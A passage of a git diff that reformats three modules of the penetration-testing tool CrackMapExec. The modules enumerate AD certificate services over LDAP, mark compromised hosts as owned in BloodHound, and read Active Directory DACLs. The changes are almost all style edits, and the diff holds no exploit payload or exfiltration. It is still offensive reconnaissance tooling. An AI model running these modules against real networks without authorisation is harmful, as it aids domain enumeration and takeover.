%d" % result[0]["attributes"][0]["vals"][0]) diff --git a/cme/modules/adcs.py b/cme/modules/adcs.py index 431618ef..50f87c26 100644 --- a/cme/modules/adcs.py +++ b/cme/modules/adcs.py @@ -11,9 +11,10 @@ class CMEModule: Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash) """ - name = 'adcs' - description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names' - supported_protocols = ['ldap'] + + name = "adcs" + description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -28,21 +29,21 @@ class CMEModule: SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name """ self.context = context - self.regex = re.compile('(https?://.+)') + self.regex = re.compile("(https?://.+)") self.server = None - if module_options and 'SERVER' in module_options: - self.server = module_options['SERVER'] + if module_options and "SERVER" in module_options: + self.server = module_options["SERVER"] def on_login(self, context, connection): """ On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names. """ if self.server is None: - search_filter = '(objectClass=pKIEnrollmentService)' + search_filter = "(objectClass=pKIEnrollmentService)" else: search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration," - self.context.log.highlight('Using PKI CN: {}'.format(self.server)) + self.context.log.highlight("Using PKI CN: {}".format(self.server)) context.log.display("Starting LDAP search with search filter '{}'".format(search_filter)) @@ -57,18 +58,19 @@ class CMEModule: sizeLimit=0, searchControls=[sc], perRecordCallback=self.process_servers, - searchBase='CN=Configuration,' + base_dn_root + searchBase="CN=Configuration," + base_dn_root, ) else: resp = connection.ldapConnection.search( - searchFilter=search_filter + base_dn_root + ')', - attributes=['certificateTemplates'], - sizeLimit=0, searchControls=[sc], + searchFilter=search_filter + base_dn_root + ")", + attributes=["certificateTemplates"], + sizeLimit=0, + searchControls=[sc], perRecordCallback=self.process_templates, - searchBase='CN=Configuration,' + base_dn_root + searchBase="CN=Configuration," + base_dn_root, ) except LDAPSearchError as e: - context.log.fail('Obtained unexpected exception: {}'.format(str(e))) + context.log.fail("Obtained unexpected exception: {}".format(str(e))) def process_servers(self, item): """ @@ -82,30 +84,29 @@ class CMEModule: cn = None try: - for attribute in item['attributes']: - - if str(attribute['type']) == 'dNSHostName': - host_name = attribute['vals'][0].asOctets().decode('utf-8') - if str(attribute['type']) == 'cn': - cn = attribute['vals'][0].asOctets().decode('utf-8') - elif str(attribute['type']) == 'msPKI-Enrollment-Servers': - values = attribute['vals'] + for attribute in item["attributes"]: + if str(attribute["type"]) == "dNSHostName": + host_name = attribute["vals"][0].asOctets().decode("utf-8") + if str(attribute["type"]) == "cn": + cn = attribute["vals"][0].asOctets().decode("utf-8") + elif str(attribute["type"]) == "msPKI-Enrollment-Servers": + values = attribute["vals"] for value in values: - value = value.asOctets().decode('utf-8') + value = value.asOctets().decode("utf-8") match = self.regex.search(value) if match: urls.append(match.group(1)) except Exception as e: - entry = host_name or 'item' + entry = host_name or "item" self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e))) if host_name: - self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name)) + self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name)) if cn: - self.context.log.highlight('Found CN: {}'.format(cn)) + self.context.log.highlight("Found CN: {}".format(cn)) for url in urls: - self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url)) + self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url)) def process_templates(self, item): """ @@ -118,15 +119,15 @@ class CMEModule: template_name = None try: - for attribute in item['attributes']: - if str(attribute['type']) == 'certificateTemplates': - for val in attribute['vals']: - template_name = val.asOctets().decode('utf-8') + for attribute in item["attributes"]: + if str(attribute["type"]) == "certificateTemplates": + for val in attribute["vals"]: + template_name = val.asOctets().decode("utf-8") templates.append(template_name) except Exception as e: - entry = template_name or 'item' + entry = template_name or "item" self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'") if templates: for t in templates: - self.context.log.highlight('Found Certificate Template: {}'.format(t)) + self.context.log.highlight("Found Certificate Template: {}".format(t)) diff --git a/cme/modules/bh_owned.py b/cme/modules/bh_owned.py index 6d863f4c..c71cfb4f 100644 --- a/cme/modules/bh_owned.py +++ b/cme/modules/bh_owned.py @@ -7,12 +7,14 @@ # https://en.hackndo.com [EN] import sys +from neo4j import GraphDatabase +from neo4j.exceptions import AuthError, ServiceUnavailable class CMEModule: - name = 'bh_owned' + name = "bh_owned" description = "Set pwned computer as owned in Bloodhound" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -26,69 +28,60 @@ class CMEModule: def options(self, context, module_options): """ - URI URI for Neo4j database (default: 127.0.0.1) - PORT Listening port for Neo4j database (default: 7687) - USER Username for Neo4j database (default: 'neo4j') - PASS Password for Neo4j database (default: 'neo4j') + URI URI for Neo4j database (default: 127.0.0.1) + PORT Listening port for Neo4j database (default: 7687) + USER Username for Neo4j database (default: 'neo4j') + PASS Password for Neo4j database (default: 'neo4j') """ - + self.neo4j_URI = "127.0.0.1" self.neo4j_Port = "7687" self.neo4j_user = "neo4j" self.neo4j_pass = "neo4j" - if module_options and 'URI' in module_options: - self.neo4j_URI = module_options['URI'] - if module_options and 'PORT' in module_options: - self.neo4j_Port = module_options['PORT'] - if module_options and 'USER' in module_options: - self.neo4j_user = module_options['USER'] - if module_options and 'PASS' in module_options: - self.neo4j_pass = module_options['PASS'] + if module_options and "URI" in module_options: + self.neo4j_URI = module_options["URI"] + if module_options and "PORT" in module_options: + self.neo4j_Port = module_options["PORT"] + if module_options and "USER" in module_options: + self.neo4j_user = module_options["USER"] + if module_options and "PASS" in module_options: + self.neo4j_pass = module_options["PASS"] def on_admin_login(self, context, connection): - try: - from neo4j.v1 import GraphDatabase - except: - from neo4j import GraphDatabase - - from neo4j.exceptions import AuthError, ServiceUnavailable - if context.local_auth: - domain = connection.conn.getServerDNSDomainName() + domain = connection.conn.getServerDNSDomainName() else: domain = connection.domain - - host_fqdn = (connection.hostname + "." + domain).upper() - uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) + host_fqdn = f"{connection.hostname}.{domain}".upper() + uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}" + context.log.debug(f"Neo4j URI: {uri}") + context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}") try: driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False) - except AuthError as e: - context.log.fail( - "Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) + except AuthError: + context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options") sys.exit() - except ServiceUnavailable as e: - context.log.fail("Neo4J does not seem to be available on {}. See --options".format(uri)) + except ServiceUnavailable: + context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options") sys.exit() except Exception as e: context.log.fail("Unexpected error with Neo4J") - context.log.debug("Error : ".format(str(e))) + context.log.debug(f"Error {e}: ") sys.exit() with driver.session() as session: with session.begin_transaction() as tx: - result = tx.run( - "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) + result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name") record = result.single() try: value = record.value() except AttributeError: value = [] if len(value) > 0: - context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) + context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound") else: - context.log.fail( - "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn)) + context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?") driver.close() diff --git a/cme/modules/daclread.py b/cme/modules/daclread.py index e2987cb0..83f185db 100644 --- a/cme/modules/daclread.py +++ b/cme/modules/daclread.py @@ -17,80 +17,80 @@ OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) # Universal SIDs WELL_KNOWN_SIDS = { - 'S-1-0': 'Null Authority', - 'S-1-0-0': 'Nobody', - 'S-1-1': 'World Authority', - 'S-1-1-0': 'Everyone', - 'S-1-2': 'Local Authority', - 'S-1-2-0': 'Local', - 'S-1-2-1': 'Console Logon', - 'S-1-3': 'Creator Authority', - 'S-1-3-0': 'Creator Owner', - 'S-1-3-1': 'Creator Group', - 'S-1-3-2': 'Creator Owner Server', - 'S-1-3-3': 'Creator Group Server', - 'S-1-3-4': 'Owner Rights', - 'S-1-5-80-0': 'All Services', - 'S-1-4': 'Non-unique Authority', - 'S-1-5': 'NT Authority', - 'S-1-5-1': 'Dialup', - 'S-1-5-2': 'Network', - 'S-1-5-3': 'Batch', - 'S-1-5-4': 'Interactive', - 'S-1-5-6': 'Service', - 'S-1-5-7': 'Anonymous', - 'S-1-5-8': 'Proxy', - 'S-1-5-9': 'Enterprise Domain Controllers', - 'S-1-5-10': 'Principal Self', - 'S-1-5-11': 'Authenticated Users', - 'S-1-5-12': 'Restricted Code', - 'S-1-5-13': 'Terminal Server Users', - 'S-1-5-14': 'Remote Interactive Logon', - 'S-1-5-15': 'This Organization', - 'S-1-5-17': 'This Organization', - 'S-1-5-18': 'Local System', - 'S-1-5-19': 'NT Authority', - 'S-1-5-20': 'NT Authority', - 'S-1-5-32-544': 'Administrators', - 'S-1-5-32-545': 'Users', - 'S-1-5-32-546': 'Guests', - 'S-1-5-32-547': 'Power Users', - 'S-1-5-32-548': 'Account Operators', - 'S-1-5-32-549': 'Server Operators', - 'S-1-5-32-550': 'Print Operators', - 'S-1-5-32-551': 'Backup Operators', - 'S-1-5-32-552': 'Replicators', - 'S-1-5-64-10': 'NTLM Authentication', - 'S-1-5-64-14': 'SChannel Authentication', - 'S-1-5-64-21': 'Digest Authority', - 'S-1-5-80': 'NT Service', - 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', - 'S-1-16-0': 'Untrusted Mandatory Level', - 'S-1-16-4096': 'Low Mandatory Level', - 'S-1-16-8192': 'Medium Mandatory Level', - 'S-1-16-8448': 'Medium Plus Mandatory Level', - 'S-1-16-12288': 'High Mandatory Level', - 'S-1-16-16384': 'System Mandatory Level', - 'S-1-16-20480': 'Protected Process Mandatory Level', - 'S-1-16-28672': 'Secure Process Mandatory Level', - 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', - 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', - 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', - 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', - 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', - 'S-1-5-32-559': 'BUILTIN\Performance Log Users', - 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', - 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', - 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', - 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', - 'S-1-5-32-573': 'BUILTIN\Event Log Readers', - 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', - 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', - 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', - 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', - 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', - 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', - 'S-1-5-32-580': 'BUILTIN\Remote Management Users', + "S-1-0": "Null Authority", + "S-1-0-0": "Nobody", + "S-1-1": "World Authority", + "S-1-1-0": "Everyone", + "S-1-2": "Local Authority", + "S-1-2-0": "Local", + "S-1-2-1": "Console Logon", + "S-1-3": "Creator Authority", + "S-1-3-0": "Creator Owner", + "S-1-3-1": "Creator Group", + "S-1-3-2": "Creator Owner Server", + "S-1-3-3": "Creator Group Server", + "S-1-3-4": "Owner Rights", + "S-1-5-80-0": "All Services", + "S-1-4": "Non-unique Authority", + "S-1-5": "NT Authority", + "S-1-5-1": "Dialup", + "S-1-5-2": "Network", + "S-1-5-3": "Batch", + "S-1-5-4": "Interactive", + "S-1-5-6": "Service", + "S-1-5-7": "Anonymous", + "S-1-5-8": "Proxy", + "S-1-5-9": "Enterprise Domain Controllers", + "S-1-5-10": "Principal Self", + "S-1-5-11": "Authenticated Users", + "S-1-5-12": "Restricted Code", + "S-1-5-13": "Terminal Server Users", + "S-1-5-14": "Remote Interactive Logon", + "S-1-5-15": "This Organization", + "S-1-5-17": "This Organization", + "S-1-5-18": "Local System", + "S-1-5-19": "NT Authority", + "S-1-5-20": "NT Authority", + "S-1-5-32-544": "Administrators", + "S-1-5-32-545": "Users", + "S-1-5-32-546": "Guests", + "S-1-5-32-547": "Power Users", + "S-1-5-32-548": "Account Operators", + "S-1-5-32-549": "Server Operators", + "S-1-5-32-550": "Print Operators", + "S-1-5-32-551": "Backup Operators", + "S-1-5-32-552": "Replicators", + "S-1-5-64-10": "NTLM Authentication", + "S-1-5-64-14": "SChannel Authentication", + "S-1-5-64-21": "Digest Authority", + "S-1-5-80": "NT Service", + "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines", + "S-1-16-0": "Untrusted Mandatory Level", + "S-1-16-4096": "Low Mandatory Level", + "S-1-16-8192": "Medium Mandatory Level", + "S-1-16-8448": "Medium Plus Mandatory Level", + "S-1-16-12288": "High Mandatory Level", + "S-1-16-16384": "System Mandatory Level", + "S-1-16-20480": "Protected Process Mandatory Level", + "S-1-16-28672": "Secure Process Mandatory Level", + "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access", + "S-1-5-32-555": "BUILTIN\Remote Desktop Users", + "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders", + "S-1-5-32-556": "BUILTIN\\Network Configuration Operators", + "S-1-5-32-558": "BUILTIN\Performance Monitor Users", + "S-1-5-32-559": "BUILTIN\Performance Log Users", + "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group", + "S-1-5-32-561": "BUILTIN\Terminal Server License Servers", + "S-1-5-32-562": "BUILTIN\Distributed COM Users", + "S-1-5-32-569": "BUILTIN\Cryptographic Operators", + "S-1-5-32-573": "BUILTIN\Event Log Readers", + "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access", + "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers", + "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers", + "S-1-5-32-577": "BUILTIN\RDS Management Servers", + "S-1-5-32-578": "BUILTIN\Hyper-V Administrators", + "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators", + "S-1-5-32-580": "BUILTIN\Remote Management Users", } @@ -166,12 +166,12 @@ class ACCESS_MASK(Enum): # Simple permissions are combinaisons of extended permissions # https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN class SIMPLE_PERMISSIONS(Enum): - FullControl = 0xf01ff - Modify = 0x0301bf - ReadAndExecute = 0x0200a9 - ReadAndWrite = 0x02019f + FullControl = 0xF01FF + Modify = 0x0301BF + ReadAndExecute = 0x0200A9 + ReadAndWrite = 0x02019F Read = 0x20094 - Write = 0x200bc + Write = 0x200BC # Mask ObjectType field enum @@ -194,9 +194,10 @@ class CMEModule: It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added. It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write. """ - name = 'daclread' - description = 'Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options.' - supported_protocols = ['ldap'] + + name = "daclread" + description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options." + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False @@ -221,43 +222,43 @@ class CMEModule: context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read") exit(1) - if module_options and 'TARGET' in module_options: - if re.search(r'^(.+)\/([^\/]+)$', module_options['TARGET']) is not None: + if module_options and "TARGET" in module_options: + if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None: try: - self.target_file = open(module_options['TARGET'], "r") + self.target_file = open(module_options["TARGET"], "r") self.target_sAMAccountName = None except Exception as e: context.log.fail("The file doesn't exist or cannot be openned.") else: - self.target_sAMAccountName = module_options['TARGET'] + self.target_sAMAccountName = module_options["TARGET"] self.target_file = None self.target_DN = None self.target_SID = None - if module_options and 'TARGET_DN' in module_options: - self.target_DN = module_options['TARGET_DN'] + if module_options and "TARGET_DN" in module_options: + self.target_DN = module_options["TARGET_DN"] self.target_sAMAccountName = None self.target_file = None - if module_options and 'PRINCIPAL' in module_options: - self.principal_sAMAccountName = module_options['PRINCIPAL'] + if module_options and "PRINCIPAL" in module_options: + self.principal_sAMAccountName = module_options["PRINCIPAL"] else: self.principal_sAMAccountName = None self.principal_sid = None - if module_options and 'ACTION' in module_options: - self.action = module_options['ACTION'] + if module_options and "ACTION" in module_options: + self.action = module_options["ACTION"] else: - self.action = 'read' - if module_options and 'ACE_TYPE' in module_options: - self.ace_type = module_options['ACE_TYPE'] + self.action = "read" + if module_options and "ACE_TYPE" in module_options: + self.ace_type = module_options["ACE_TYPE"] else: - self.ace_type = 'allowed' - if module_options and 'RIGHTS' in module_options: - self.rights = module_options['RIGHTS'] + self.ace_type = "allowed" + if module_options and "RIGHTS" in module_options: + self.rights = module_options["RIGHTS"] else: self.rights = None - if module_options and 'RIGHTS_GUID' in module_options: - self.rights_guid = module_options['RIGHTS_GUID'] + if module_options and "RIGHTS_GUID" in module_options: + self.rights_guid = module_options["RIGHTS_GUID"] else: self.rights_guid = None self.filename = None @@ -278,13 +279,17 @@ class CMEModule: self.principal_sid = format_sid( self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), - attributes=['objectSid'] - )[0][1][0][1][0] + searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal), + attributes=["objectSid"], + )[0][ + 1 + ][0][ + 1 + ][0] ) context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid) except Exception as e: - context.log.fail('Principal SID not found in LDAP (%s)' % _lookedup_principal) + context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal) exit(1) # Searching for the targets SID and their Security Decriptors @@ -295,17 +300,16 @@ class CMEModule: self.search_target_principal_security_descriptor(context, connection) # Extract security descriptor data self.target_principal_dn = self.target_principal[0] - self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1') - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR( - data=self.principal_raw_security_descriptor) - context.log.highlight('Target principal found in LDAP (%s)' % self.target_principal[0]) + self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1") + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0]) except Exception as e: - context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName) + context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName) exit(1) - if self.action == 'read': + if self.action == "read": self.read(context) - if self.action == 'backup': + if self.action == "backup": self.backup(context) # If there are multiple targets @@ -318,23 +322,22 @@ class CMEModule: self.search_target_principal_security_descriptor(context, connection) # Extract security descriptor data self.target_principal_dn = self.target_principal[0] - self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1') - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR( - data=self.principal_raw_security_descriptor) - context.log.highlight('Target principal found in LDAP (%s)' % self.target_sAMAccountName) + self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1") + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName) except Exception as e: - context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName) + context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName) continue - if self.action == 'read': + if self.action == "read": self.read(context) - if self.action == 'backup': + if self.action == "backup": self.backup(context) # Main read funtion # Prints the parsed DACL def read(self, context): - parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor['Dacl']) + parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"]) self.print_parsed_dacl(context, parsed_dacl) return @@ -342,14 +345,16 @@ class CMEModule: # This function is called before any writing action (write, remove or restore) def backup(self, context): backup = {} - backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('latin-1') + backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1") backup["dn"] = str(self.target_principal_dn) if not self.filename: - self.filename = 'dacledit-%s-%s.bak' % ( - datetime.datetime.now().strftime("%Y%m%d-%H%M%S"), self.target_sAMAccountName) - with codecs.open(self.filename, 'w', 'latin-1') as outfile: + self.filename = "dacledit-%s-%s.bak" % ( + datetime.datetime.now().strftime("%Y%m%d-%H%M%S"), + self.target_sAMAccountName, + ) + with codecs.open(self.filename, "w", "latin-1") as outfile: json.dump(backup, outfile) - context.log.highlight('DACL backed up to %s', self.filename) + context.log.highlight("DACL backed up to %s", self.filename) self.filename = None # Attempts to retrieve the DACL in the Security Descriptor of the specified target @@ -361,22 +366,22 @@ class CMEModule: _lookedup_principal = self.target_sAMAccountName target = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), - attributes=['nTSecurityDescriptor'], - searchControls=controls + searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal), + attributes=["nTSecurityDescriptor"], + searchControls=controls, ) if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(distinguishedName=%s)' % _lookedup_principal, - attributes=['nTSecurityDescriptor'], - searchControls=controls + searchFilter="(distinguishedName=%s)" % _lookedup_principal, + attributes=["nTSecurityDescriptor"], + searchControls=controls, ) try: self.target_principal = target[0] except Exception as e: - context.log.fail('Principal not found in LDAP (%s), probably an LDAP session issue.' % _lookedup_principal) + context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal) exit(0) # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName @@ -385,15 +390,15 @@ class CMEModule: def get_user_info(self, context, samname): self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samname), - attributes=['objectSid'] + searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname), + attributes=["objectSid"], ) try: dn = self.ldap_session.entries[0].entry_dn - sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0]) return dn, sid except Exception as e: - context.log.fail('User not found in LDAP: %s' % samname) + context.log.fail("User not found in LDAP: %s" % samname) return False # Attempts to resolve a SID and return the corresponding samaccountname @@ -407,17 +412,23 @@ class CMEModule: try: dn = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(objectSid=%s)' % sid, - attributes=['sAMAccountName'] - )[0][0] + searchFilter="(objectSid=%s)" % sid, + attributes=["sAMAccountName"], + )[ + 0 + ][0] samname = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(objectSid=%s)' % sid, - attributes=['sAMAccountName'] - )[0][1][0][1][0] + searchFilter="(objectSid=%s)" % sid, + attributes=["sAMAccountName"], + )[0][ + 1 + ][0][ + 1 + ][0] return samname except Exception as e: - context.log.debug('SID not found in LDAP: %s' % sid) + context.log.debug("SID not found in LDAP: %s" % sid) return "" # Parses a full DACL @@ -426,7 +437,7 @@ class CMEModule: parsed_dacl = [] context.log.debug("Parsing DACL") i = 0 - for ace in dacl['Data']: + for ace in dacl["Data"]: parsed_ace = self.parse_ace(context, ace) parsed_dacl.append(parsed_ace) i += 1 @@ -450,71 +461,87 @@ class CMEModule: # - ace : the ACE to parse def parse_ace(self, context, ace): # For the moment, only the Allowed and Denied Access ACE are supported - if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", - "ACCESS_DENIED_OBJECT_ACE"]: + if ace["TypeName"] in [ + "ACCESS_ALLOWED_ACE", + "ACCESS_ALLOWED_OBJECT_ACE", + "ACCESS_DENIED_ACE", + "ACCESS_DENIED_OBJECT_ACE", + ]: parsed_ace = {} - parsed_ace['ACE Type'] = ace['TypeName'] + parsed_ace["ACE Type"] = ace["TypeName"] # Retrieves ACE's flags _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" + parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None" # For standard ACE # Extracts the access mask (by parsing the simple permissions) and the principal's SID - if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]: - parsed_ace['Access mask'] = "%s (0x%x)" % ( - ", ".join(self.parse_perms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) - parsed_ace['Trustee (SID)'] = "%s (%s)" % ( - self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", - ace['Ace']['Sid'].formatCanonical()) + if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]: + parsed_ace["Access mask"] = "%s (0x%x)" % ( + ", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])), + ace["Ace"]["Mask"]["Mask"], + ) + parsed_ace["Trustee (SID)"] = "%s (%s)" % ( + self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN", + ace["Ace"]["Sid"].formatCanonical(), + ) # For object-specific ACE - elif ace['TypeName'] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: + elif ace["TypeName"] in [ + "ACCESS_ALLOWED_OBJECT_ACE", + "ACCESS_DENIED_OBJECT_ACE", + ]: # Extracts the mask values. These values will indicate the ObjectType purpose _access_mask_flags = [] for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): + if ace["Ace"]["Mask"].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) - parsed_ace['Access mask'] = ", ".join(_access_mask_flags) + parsed_ace["Access mask"] = ", ".join(_access_mask_flags) # Extracts the ACE flag values and the trusted SID _object_flags = [] for FLAG in OBJECT_ACE_FLAGS: - if ace['Ace'].hasFlag(FLAG.value): + if ace["Ace"].hasFlag(FLAG.value): _object_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_object_flags) or "None" + parsed_ace["Flags"] = ", ".join(_object_flags) or "None" # Extracts the ObjectType GUID values - if ace['Ace']['ObjectTypeLen'] != 0: - obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() + if ace["Ace"]["ObjectTypeLen"] != 0: + obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower() try: - parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + parsed_ace["Object type (GUID)"] = "%s (%s)" % ( + OBJECT_TYPES_GUID[obj_type], + obj_type, + ) except KeyError: - parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type + parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type # Extracts the InheritedObjectType GUID values - if ace['Ace']['InheritedObjectTypeLen'] != 0: - inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() + if ace["Ace"]["InheritedObjectTypeLen"] != 0: + inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower() try: - parsed_ace['Inherited type (GUID)'] = "%s (%s)" % ( - OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + parsed_ace["Inherited type (GUID)"] = "%s (%s)" % ( + OBJECT_TYPES_GUID[inh_obj_type], + inh_obj_type, + ) except KeyError: - parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type + parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type # Extract the Trustee SID (the object that has the right over the DACL bearer) - parsed_ace['Trustee (SID)'] = "%s (%s)" % ( - self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", - ace['Ace']['Sid'].formatCanonical()) + parsed_ace["Trustee (SID)"] = "%s (%s)" % ( + self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN", + ace["Ace"]["Sid"].formatCanonical(), + ) else: # If the ACE is not an access allowed - context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"]) parsed_ace = {} - parsed_ace['ACE type'] = ace['TypeName'] + parsed_ace["ACE type"] = ace["TypeName"] _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" - parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None" + parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace # 